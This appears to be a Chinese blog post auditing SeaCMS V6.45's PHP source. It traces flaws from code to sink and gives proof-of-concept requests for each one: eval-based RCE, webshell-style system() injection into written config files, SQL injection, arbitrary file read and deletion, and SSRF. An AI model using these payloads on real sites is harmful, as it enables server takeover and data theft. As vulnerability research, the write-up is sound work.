PHP代碼審計(jì)實(shí)踐——SeaCMS V6.45

前言:


SeaCMS 是一套專為不同需求的站長(zhǎng)而設(shè)計(jì)的視頻點(diǎn)播系統(tǒng),現(xiàn)在仍在維護(hù)。本次代碼審計(jì)選擇的版本是 SeaCMS 6.45。這不馬上要過年了嘛,提前祝大家新年快樂,恭(紅)喜(包)發(fā)(給)財(cái)(我)啊(快)!

SeaCMS:

  • 全局分析:

seacms/include/common.php

//檢查和注冊(cè)外部提交的變量
foreach($_REQUEST as $_k=>$_v)
{
    if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
    {
        exit('Request var not allow!');
    }
}

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

程序禁止GPC變量為系統(tǒng)的全局變量或cfg_配置變量,通過GET、POST、COOKIE方式傳進(jìn)來的參數(shù)都會(huì)調(diào)用_RunMagicQuotes方法使用addslashes函數(shù)進(jìn)行過濾處理,并且將過濾之后的值存入以鍵值對(duì)的鍵為變量名的變量中,這里發(fā)現(xiàn)沒有對(duì)$_SERVER進(jìn)行過濾,存在頭部注入的可能性。

如果上傳文件,會(huì)包含uploadsafe.inc.php文件:

文件上傳全局處理:seacms/include/uploadsafe.inc.php

//這里強(qiáng)制限定的某些文件類型禁止上傳
$cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml";
$keyarr = array('name','type','tmp_name','size');
foreach($_FILES as $_key=>$_value)
{
    if(!empty(${$_key.'_name'}) && (m_eregi("\.(".$cfg_not_allowall.")$",${$_key.'_name'}) || !m_ereg("\.",${$_key.'_name'})) )
    {
            exit('Upload filetype not allow !');
    }
}

通過黑名單方式禁用了很多文件后綴。

  • 前臺(tái)RCE:

漏洞代碼分析:/include\main.class.php

function parseIf($content){
    if (strpos($content,'{if:')=== false){
    return $content;
    }else{
    $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
    $labelRule2="{elseif";
    $labelRule3="{else}";
    preg_match_all($labelRule,$content,$iar);
    $arlen=count($iar[0]);
    $elseIfFlag=false;
    for($m=0;$m<$arlen;$m++){
        $strIf=$iar[1][$m];
        $strIf=$this->parseStrIf($strIf);
        $strThen=$iar[2][$m];
        $strThen=$this->parseSubIf($strThen);
        if (strpos($strThen,$labelRule2)===false){
            if (strpos($strThen,$labelRule3)>=0){
                $elsearray=explode($labelRule3,$strThen);
                $strThen1=$elsearray[0];
                $strElse1=$elsearray[1];
                @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

parseIf方法中,3118行,eval執(zhí)行的語(yǔ)句中存在變量$strIf,若該變量用戶可控,則有可能造成代碼執(zhí)行。接著進(jìn)行逆向跟蹤,先只判斷是否用戶可控。取$iar數(shù)組中的值賦值給$strIf,接著經(jīng)過parseStrIf方法處理。3105行,$iar數(shù)組跟$content相關(guān),接下來追蹤一下parseIf(),尋找調(diào)用這個(gè)方法的文件,找到search.php:
在212行,在函數(shù)echoSearchPage()中,調(diào)用了parseIf()方法

$content=$mainClassObj->parseIf($content);

繼續(xù)追蹤:

if($cfg_iscache){
    if(chkFileCache($cacheName)){
        $content = getFileCache($cacheName);
    }else{
        $content = parseSearchPart($searchTemplatePath);
        setFileCache($cacheName,$content);
    }

$cfg_iscache默認(rèn)為1,$content來自一個(gè)緩存文件,為搜索結(jié)果展示給用戶的 HTML 頁(yè)面,隨后通過$page、$searchword、$TotalResult$order等參數(shù)對(duì)$concent進(jìn)行內(nèi)容的替換:

$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);

而search.php第一行包含了include/common.php文件,且進(jìn)行了XSS過濾:

foreach($_GET as $k=>$v)
{
    $$k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
    $schwhere.= "&$k=".urlencode($$k);
}

我們可以傳入$page、$searchword、$TotalResult、$order等參數(shù),但$page$TotalResult只能為數(shù)值,只有$order是完全可控的。$order替換的內(nèi)容是{searchpage:ordername},全局搜索發(fā)現(xiàn)只有cascade.html文件有相關(guān)內(nèi)容。
當(dāng)$searchtype==5時(shí),$content的內(nèi)容來自于cascade.html:

if(intval($searchtype)==5)
{
    $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";

$content = parseSearchPart($searchTemplatePath);

接著需要嘗試去構(gòu)造特定的$order來實(shí)現(xiàn)代碼注入,對(duì)parseIf方法進(jìn)一步分析:

if (strpos($content,'{if:')=== false){
return $content;
}

$content必須包含{if,匹配$content的正則為:/{if:(.*?)}(.*?){end if}/is,最終匹配結(jié)果為$iar數(shù)組,其中$iar[0]包含第一次匹配得到的所有匹配(包含子組),$iar[1]$iar[2]為兩個(gè)匹配子組

$strIf來自$iar[1]

for($m=0;$m<$arlen;$m++){
    $strIf=$iar[1][$m];
    $strIf=$this->parseStrIf($strIf);
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

嘗試構(gòu)造$order,使得@eval("if(1)phpinfo();if(1){$ifFlag=true;}else{$ifFlag=false;}")

POC:search.php?searchtype=5&searchword=book4yi&order=}{end if}{if:1)phpinfo();if(1}{end if}

  • 后臺(tái)RCE:
  • 觸發(fā)點(diǎn)一
    漏洞代碼位于:/seacms/admin/admin_ping.php

if($action=="set")
{
    $weburl= $_POST['weburl'];
    $token = $_POST['token'];
    $open=fopen("../data/admin/ping.php","w" );
    $str='<?php ';
    $str.='$weburl = "';
    $str.="$weburl";
    $str.='"; ';
    $str.='$token = "';
    $str.="$token";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
}

當(dāng)POST傳入weburl參數(shù)時(shí),會(huì)調(diào)用之前說的過濾函數(shù),使用addslashes函數(shù)過濾weburl的值,并存入$weburl,也就是說被過濾的是$weburl變量。但是這里直接對(duì)POST傳入的weburl的值存入$weburl變量,相當(dāng)于對(duì)$weburl變量進(jìn)行二次賦值,重新賦值的$weburl變量沒有經(jīng)過任何過濾,直接寫入到ping.php中,造成RCE

POST /admin/admin_ping.php?action=set
weburl=test";system($_GET['cmd']);//&token=123456

  • 觸發(fā)點(diǎn)二
    漏洞代碼位于:/seacms/admin/admin_config.php
$configfile = sea_DATA.'/config.cache.inc.php';
if($dopost=="save")
{
    foreach($_POST as $k=>$v)
    {
        if(m_ereg("^edit___",$k))
        {
            if(is_array($$k))
                $v = cn_substr(str_replace("'","\'",str_replace("\\","\\\\",stripslashes(implode(',',$$k)))),500); 
            else
                $v = cn_substr(str_replace("'","\'",str_replace("\\","\\\\",stripslashes(${$k}))),500); 
        }
        else
        {
            continue;
        }
        $k = m_ereg_replace("^edit___","",$k);
        $configstr .="\${$k} = '$v';\r\n";
    $fp = fopen($configfile,'w');
    flock($fp,3);
    fwrite($fp,"<"."?php\r\n");
    fwrite($fp,$configstr);
    fwrite($fp,"?".">");
    fclose($fp);
    }

當(dāng)$dopost=="save",首先會(huì)判斷POST傳入的參數(shù)是否以edit___開頭,若不是則跳過當(dāng)前循環(huán)的剩余語(yǔ)句,這里將單引號(hào)和反斜線進(jìn)行了轉(zhuǎn)義處理,最后將從帶有 POST 方法的表單發(fā)送的信息寫入到config.cache.inc.php文件中,這里雖然對(duì)單引號(hào)進(jìn)行了轉(zhuǎn)義處理,但并沒有對(duì)參數(shù)本身進(jìn)行過濾,所以可以構(gòu)造如下數(shù)據(jù)包:

POST /seacms/admin/admin_config.php?dopost=save HTTP/1.1
edit___book4yi;system('ipconfig');//=1

查看文件是否成功寫入惡意代碼:

后面只需要訪問包含該文件的頁(yè)面即可觸發(fā)RCE:

  • 后臺(tái)SQL注入:
  • 觸發(fā)點(diǎn)一
    漏洞代碼位于:/admin/admin_ajax.php

elseif($action=="checkrepeat")
{
    $v_name=iconv('utf-8','utf-8',$_GET["v_name"]); 
    $row=$dsql->GetOne("select count(*) as dd from sea_data where v_name='$v_name'");
    $num=$row['dd'];
    if($num==0){echo "ok";}else{echo "err";}
}

此處包含了config.php,config.php又包含了/include/common.php,會(huì)對(duì)通過GET、POST、COOKIE方式傳進(jìn)來的參數(shù)都會(huì)調(diào)用_RunMagicQuotes方法使用addslashes函數(shù)進(jìn)行轉(zhuǎn)義處理,這里同樣是存在二次賦值的問題,最后導(dǎo)致了SQL注入的問題。

POC:admin/admin_ajax.php?action=checkrepeat&v_name=4444444444'+and+extractvalue(1,concat(0x7e,(select+@@version),0x7e))%23

  • 后臺(tái)任意文件讀取:

漏洞代碼分析:seacms/admin/admin_collect.php

if($action=="addrule")
{
    if($step==2){
        if(empty($itemname))
        {
            ShowMsg("請(qǐng)?zhí)顚懖杉Q!","-1");
            exit();
        }
        include(sea_ADMIN.'/templets/admin_collect_ruleadd2.htm');

seacms/admin/templets/admin_collect_ruleadd2.htm

<textarea id="htmlcode" style="width:99%;height:200px;font-family:Fixedsys" wrap="off" readonly=readonly><?php 
            $content = !empty($showcode)?@file_get_contents($siteurl):'';
            $content = $coding=='gb2312'?gbutf8($content):$content;
            if(!$content) echo "讀取URL出錯(cuò)";
            echo $showcode;
            echo htmlspecialchars($content);
            ?></textarea>

!empty($showcode)則該htm文件通過file_get_contents()讀取$siteurl的內(nèi)容,并將其輸出。由于是htm文件,需要找到包含該文件的地方,全局搜索包含admin_collect_ruleadd2.htm的文件,發(fā)現(xiàn)admin_collect_news.php和admin_collect.php都包含了該文件

POC:/admin/admin_collect.php?action=addrule&step=2&id=0&itemname=test123&siteurl=file://c:/windows/win.ini&showcode=1

  • 目錄穿越:

在訪問模板管理處,看到了這樣的頁(yè)面:

聞到了目錄穿越的味道,漏洞代碼分析:seacms/admin/admin_template.php

else
{
    if(empty($path)) $path=$dirTemplate; else $path=strtolower($path);
    if(substr($path,0,11)!=$dirTemplate){
        ShowMsg("只允許編輯templets目錄!","admin_template.php");
        exit;
    }
    $flist=getFolderList($path);
    include(sea_ADMIN.'/templets/admin_template.htm');
    exit();
}
?>

同樣只限制了前11位字符,未作其他限制,辣么就可以瀏覽操作系統(tǒng)中存在哪些文件,然后配合任意文件讀取/刪除造殺傷:

  • 后臺(tái)任意文件讀取/任意文件修改:

漏洞代碼分析:seacms/admin/admin_template.php

$dirTemplate="../templets";
if($action=='edit')
{
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只允許編輯templets目錄!","admin_template.php");
        exit;
    }
    $filetype=getfileextend($filedir);
    if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
    {
        ShowMsg("操作被禁止!","admin_template.php");
        exit;
    }
    $filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
    $content=loadFile($filedir);

# /include/common.func.php
function loadFile($filePath)
{
    if(!file_exists($filePath)){
        echo "模版文件讀取失敗!";
        exit();
    }
    $fp = @fopen($filePath,'r');
    $sourceString = @fread($fp,filesize($filePath));
    @fclose($fp);
    return $sourceString;
}

判斷截取了$filedir的前十一個(gè)字符是否為../templets,通過getfileextend函數(shù)獲取后綴名,對(duì)其文件后綴進(jìn)行了白名單限制,最后通過loadFile函數(shù)讀取文件,但只能讀取html、js、txt、css等文件

POC:/admin/admin_template.php?action=edit&filedir=../templets/default/html/block_header.html

  • 后臺(tái)任意文件刪除:
  • 觸發(fā)點(diǎn)一

漏洞代碼分析:seacms/admin/admin_database.php

elseif($action=="redat")
{
    $bkdir = sea_DATA.'/'.$cfg_backup_dir;
    $bakfilesTmp = $bakfiles;
    $bakfiles = explode(',',$bakfiles);
    $structfile = "seacms_tables_struct_".str_replace("seacms_data_","",$bakfiles[0]);
    if($redStruct!='' && file_exists("$bkdir/$structfile"))
    {
        if($delfile==1)
        {
            @unlink("$bkdir/$structfile");
        }
    }

這里并沒有對(duì) ./進(jìn)行過濾,可以通過目錄穿越刪除任意文件:

POC:
/admin/admin_database.php?action=redat&bakfiles=../../test_delete.php,123.txt&delfile=1

  • 觸發(fā)點(diǎn)二:

POC:/admin/admin_template.php?action=del&filedir=../templets/../888.txt

elseif($action=='del')
{
    if($filedir == '')
    {
        ShowMsg('未指定要?jiǎng)h除的文件或文件名不合法', '-1');
        exit();
    }
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只允許刪除templets目錄內(nèi)的文件!","admin_template.php");
        exit;
    }
    $folder=substr($filedir,0,strrpos($filedir,'/'));
    if(!is_dir($folder)){
        ShowMsg("目錄不存在!","admin_template.php");
        exit;
    }
    unlink($filedir);
  • 服務(wù)端請(qǐng)求偽造(SSRF)+ URL重定向:

漏洞代碼分析:/admin/admin_reslib.php

$backurl=isset($backurl)?$backurl:"admin_reslib.php";
$var_url=$url;

elseif($action=="select")
{
    if(empty($ids))
    {
        ShowMsg("請(qǐng)選擇采集數(shù)據(jù)","-1");
        exit();
    }
    $a_ids = implode(',',$ids);
    if($rid==32)
    {
        $weburl=$var_url."?s=plus-api-xml-cms-max-vodids-".$a_ids;
    }
    else
    {
        $weburl=$var_url.(strpos($var_url,'?')!==false?"&":"?")."ac=videolist&ressite=".$ressite."&ids=".$a_ids;
    }
    intoDatabase($weburl,"select");
}

繼續(xù)追蹤intoDatabase函數(shù):

function intoDatabase($url,$gtype)
{
    global $dsql,$col,$cfg_gatherset,$backurl,$gatherWaitTime,$ressite,$var_url,$action,$isref,$pg;
    $content=cget($url,$isref);
function cget($url,$isref){
    if($isref=='1'){return getRemoteContent($url);}else{return get($url);}
}
function getRemoteContent($url,$conall=null)
{
    $purl = parse_url($url);
    $host = $purl['host'];
    $path = $purl['path'];
    $port = empty($purl['port']) ? 80 : $purl['port'];
    
    if (isset($purl['query']))
        $path.='?'.$purl['query'];
    $fp = fsockopen($host, $port, $errno, $errstr, 10);
    if (!$fp) {
        return false;
    } else {
        $out = "GET $path HTTP/1.1\r\n";
        $out.= "Accept: */*\r\n";
        $out.= "Accept-Language: zh-cn\r\n";
        $out.= "Referer: http://$host\r\n";
        $out.= "User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)\r\n";
        $out.= "Host: $host\r\n";
        $out.= "Connection: Close\r\n";
        $out.="\r\n";
        fwrite($fp, $out);
        while (!feof($fp)) {
            $con.= fgets($fp, 1024);
        }
        fclose($fp);
    }

    if ($conall==null)
    {
        $tmp = explode("\r\n\r\n",$con,2);
        $con = $tmp[1];
    }
    return $con;
}

POC:/admin/admin_reslib.php?action=select&ids=1,2&url=http://wyy5qnivs98y3um3frsoh0jkhbn1bq.burpcollaborator.net&backurl=https://www.baidu.com

  • 服務(wù)端請(qǐng)求偽造(SSRF):

漏洞代碼分析:/admin/admin_webgather.php

else if($action=='gather'){
    else if(strpos($url,"youku.com")>0)
    {
else{
            $pageStr = get($url);
            preg_match_all("/\<meta name=\"title\" content=\"(.*?)\"\>/",$pageStr,$title);
            preg_match_all("/var videoId = '(\d{3,}?)'/",$pageStr,$guid);
            $result = $result.$title[1][0].'$'.$guid[1][0].'$youku';
            echo $result;
        }
    }

# /include/common.func.php
function get($url)
{
    return @file_get_contents($url);
}

POC:/admin/admin_webgather.php?action=gather&url=http://192.168.107.129:8000/?id=youku.com

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請(qǐng)通過簡(jiǎn)信或評(píng)論聯(lián)系作者。

相關(guān)閱讀更多精彩內(nèi)容

  • 前言: PHP代碼審計(jì)計(jì)劃一直學(xué)習(xí)到22年3月份,今天是后悔學(xué)安全的第485天。 BlueCMS 任意文件讀取/修...
    book4yi閱讀 1,835評(píng)論 0 1
  • 系統(tǒng)介紹 CMS名稱:新秀企業(yè)網(wǎng)站系統(tǒng)PHP版 官網(wǎng):www.sinsiu.com 版本:這里國(guó)光用的1.0 正式...
    zsoft閱讀 468評(píng)論 0 0
  • 0x01 前言 無意間發(fā)現(xiàn)一個(gè)代碼審計(jì)的以前文章,是審計(jì)一篇cms的文章,然后就想著還沒有認(rèn)真的審計(jì)過一次呢,就跟...
    Pino_HD閱讀 3,432評(píng)論 1 1
  • 三款自動(dòng)化代碼審計(jì)工具各有優(yōu)勢(shì),我是下載的VCG做的代碼審計(jì),可以根據(jù)自身的實(shí)際情況選擇工具。 0×01簡(jiǎn)介 工欲...
    Rooky1993閱讀 6,198評(píng)論 0 0
  • 前言: 馬上就沒有工作了,趁找不到工作這段時(shí)間潛心學(xué)習(xí)PHP代審,多多少少給自己增加一丟丟競(jìng)爭(zhēng)力,剛畢業(yè)半年可太難...
    book4yi閱讀 1,201評(píng)論 0 1

友情鏈接更多精彩內(nèi)容